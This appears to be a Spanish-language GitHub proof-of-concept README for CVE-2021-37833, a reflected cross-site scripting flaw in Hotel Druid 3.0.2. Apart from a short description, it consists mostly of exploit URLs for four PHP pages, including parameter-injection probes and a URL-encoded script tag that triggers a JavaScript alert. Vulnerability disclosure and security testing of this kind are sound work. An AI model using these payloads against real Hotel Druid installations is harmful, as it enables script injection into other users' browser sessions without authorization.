dievus/cve-2021-37833Prueba de concepto para una vulnerabilidad de cross-site scripting (XSS) reflejado en Hotel Druid 3.0.2, que demuestra la ejecución arbitraria de JavaScript a través de múltiples páginas PHP vulnerables.
Existe una vulnerabilidad de Cross Site Scripting reflejado en múltiples páginas de la versión 3.0.2 de la aplicación Hotel Druid que permite la ejecución arbitraria de comandos JavaScript. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-37833
Páginas PHP vulnerables:
Payloads vulnerables
/visualizza_tabelle.php?anno=2021&tipo_tabella=prenotazioni&sel_tab_prenota=tutte&wo03b">w5px3=1
/storia_soldi.php?piu17">e3esq=1
/crea_modelli.php?anno=2021&id_sessione=&fonte_dati_conn=attuali&T_PHPR_DB_TYPE=postgresql&T_PHPR_DB_NAME=%C2%9E%C3%A9e&T_PHPR_DB_HOST=localhost&T_PHPR_DB_PORT=5432&T_PHPR_DB_USER=%C2%9E%C3%A9e&T_PHPR_DB_PASS=%C2%9E%C3%A9e&T_PHPR_LOAD_EXT=NO&T_PHPR_TAB_PRE=%C2%9E%C3%A9e&anno_modello=2021&lingua_modello=en&cambia_frasi=SIipq85%22%3E%3Cscript%3Ealert(%27xss%20hotel%20druid%27)%3C%2fscript%3Ef9xkbujgt24&form_availability_calendar_template=1
/tabella.php?jkuh3">yql8b=1
Descubierto por Joe Helle, julio de 2021
